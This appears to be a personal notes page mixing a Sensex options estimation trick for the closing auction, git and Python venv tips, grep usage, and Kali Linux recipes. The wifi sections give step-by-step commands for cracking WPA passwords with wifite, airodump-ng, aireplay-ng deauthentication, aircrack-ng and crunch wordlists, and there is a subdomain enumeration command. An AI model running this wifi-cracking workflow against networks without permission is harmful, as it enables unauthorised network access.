NSE FNO Options - Read Open Interest of CE and PE together (OI)

 

Simple CAS Prediction Method (Before 3:30 PM) - Sensex, Nifty, Bank Nifty

 

Simple CAS Prediction Method (Before 3:30 PM)

Purpose

After 3:15 PM, the Sensex cash chart stops moving because of the Closing Auction Session (CAS).

To estimate where Sensex is moving, watch the ATM or 1 ITM Call Option.

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Step 1 – At 3:15 PM

Example:

• Sensex = 78,785
• ITM Strike = 78,700 CE
• Option LTP = 365

Calculate:

Intrinsic Value

= 78,785 − 78,700

= 85

Extrinsic Value

= 365 − 85

= 280

Remember only one number: 280 (Extrinsic).

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Step 2 – During CAS (3:16–3:30 PM)

Watch only the option price.

Formula:

Estimated Sensex

= Strike + Current Option Price − 280

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Example 1

Option = 390

Sensex

= 78,700 + 390 − 280

= 78,810

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Example 2

Option = 425

Sensex

= 78,700 + 425 − 280

= 78,845

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Example 3

Option = 500

Sensex

= 78,700 + 500 − 280

= 78,920

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Quick Rule

If the option price rises by:

+20 points → Sensex is approximately +20 points

+50 points → Sensex is approximately +50 points

+100 points → Sensex is approximately +100 points

As long as the extrinsic value stays nearly the same, every 1-point move in the option roughly corresponds to a 1-point move in the index.

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Easy Memory Trick

At 3:15 PM:

✔ Note the Sensex level.

✔ Note the option LTP.

✔ Calculate and remember only the Extrinsic Value.

From 3:16 PM to 3:30 PM:

Estimated Sensex = Strike + Option LTP − Extrinsic

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Example Summary

Time	Option LTP	Estimated Sensex
3:15	365	78,785
3:16	390	78,810
3:17	425	78,845
3:18	450	78,870
3:20	500	78,920

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Important Note

This method estimates the current Sensex value during CAS. It does not predict the final closing price by itself. The final CAS close depends on the buy and sell orders matched in the closing auction, so the actual close can still differ slightly from the estimate.

git push hangs after Total line (Total 7 (delta 3), reused 0 (delta 0), pack-reused 0 after no response)

 After git Commit -a -m "message"

    git config --global http.postBuffer 157286400

    git push   or  git push -u origin main

Python Virtual Environment - venv

 check which gives python v 10

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python --version

py --version

python3.10 --version

To create Python 10 Virtual Environment

windows

1. <python/py> -m venv pyV10Env //to generate that version venv

2. .\pyV10Env\Scripts\activate.bat

3. py --version

4. python --version

5. //all set go, use ur py commands

6. deactivate

linux

1. <python/py> -m venv pyV10Env //to generate that version venv

2. source nse_env/bin/activate

3. py --version

4. python --version

5. //all set go, use ur py commands

6. deactivate

 

Education Purpose - Hacking Wifi and Password with wifite tool

Steps

airmon-ng stop wlan1

systemctl start NetworkManager

#Insert wlan1 - your wifi adaptor in usb 2.0

iw wlan1 del

airmon-ng start wlan1

wifite --wpa --dict /home/vijay/works/Owasp/Wifi/10-million-password-list-top-1000000.txt

press ctrl-c, enter the number of the wifi you want to break. check wpa=yes enable.

press ctrl-c and move to next attach, press c to continue, e to exit

Kali linux - How to find the sub domain list of any domain

 sublist3r -v -b -d -t 10 -e bing -o example-subdomains.txt example.com 

To hack wifi with airmon and airodump-ng with TP link USB 2.0 wifi

 NOTE:     DONT FORGOT TO INSERT THE WIFI DEVICE IN USB 2.0 AND NOT USB 3.0, IF YOU INSERT IN 3.0 IT WILL THROW NETWORK DOWN AFTER FEW SECONDS OF AIRODUMP-NG ETC..

go to hardinfo2->usb menu to see which port is usb 2.0

1. make sure internet is working and isntall the below driver for TP link - TL-wn722N 150 mbps usb adaptor

apt update

sudo apt install -y realtek-rtl8188eus-dkms

init 6    //restart 

STEPS

        airmon-ng start wlan1

airodump-ng wlan1

#if no bssi is display, then use the below command

ifconfig wlan1 down

ifconfig wlan1 up

airudump-ng wlan1

airodump-ng --bssid <64:2C:AC:D0:0B:AA> --channel <1> --write <capturefilename> <wlan1>

new tab ->  aireplay-ng --deauth 0 -a <64:2C:AC:D0:0B:AA> wlan1

aircrack-ng -b <64:2C:AC:D0:0B:AA> -w <passwordfile.txt> <Capture-Pat-1.cap>

additional

1. to generate the password list in sequence. below example starts air00001 to air99999 

crunch 8 8 -t air%%%%% -o passwordlist.txt 

2. to get all wordlists text file 

wordlists -h

/usr/share/wordlists

├── amass -> /usr/share/amass/wordlists

├── dirb -> /usr/share/dirb/wordlists

├── dirbuster -> /usr/share/dirbuster/wordlists

├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt

├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt

├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists

├── john.lst -> /usr/share/john/password.lst

├── legion -> /usr/share/legion/wordlists

├── metasploit -> /usr/share/metasploit-framework/data/wordlists

├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst

├── rockyou.txt

├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt

├── wfuzz -> /usr/share/wfuzz/wordlist

└── wifite.txt -> /usr/share/dict/wordlist-probable.txt

To find word inside file linux ubuntu - grep command

If you're looking for lines matching in files, my favorite command is:

grep -Hrni 'vijay' /home/v/abc.txt

grep -rl 'vijay' /home/vfolder

• -H causes the filename to be printed (implied when multiple files are searched)
• -r does a recursive search
• -n causes the line number to be printed

• -I ignore binary files (complement: -a treat all files as text)
• -F treat search term as a literal, not a regular expression
• -i do a case-insensitive search

• --color=always to force colors even when piping through less. To make less support colors, you need to use the -r option:

  grep -Hrn search . | less -r
  

• --exclude-dir=dir useful for excluding directories like .svn and .git.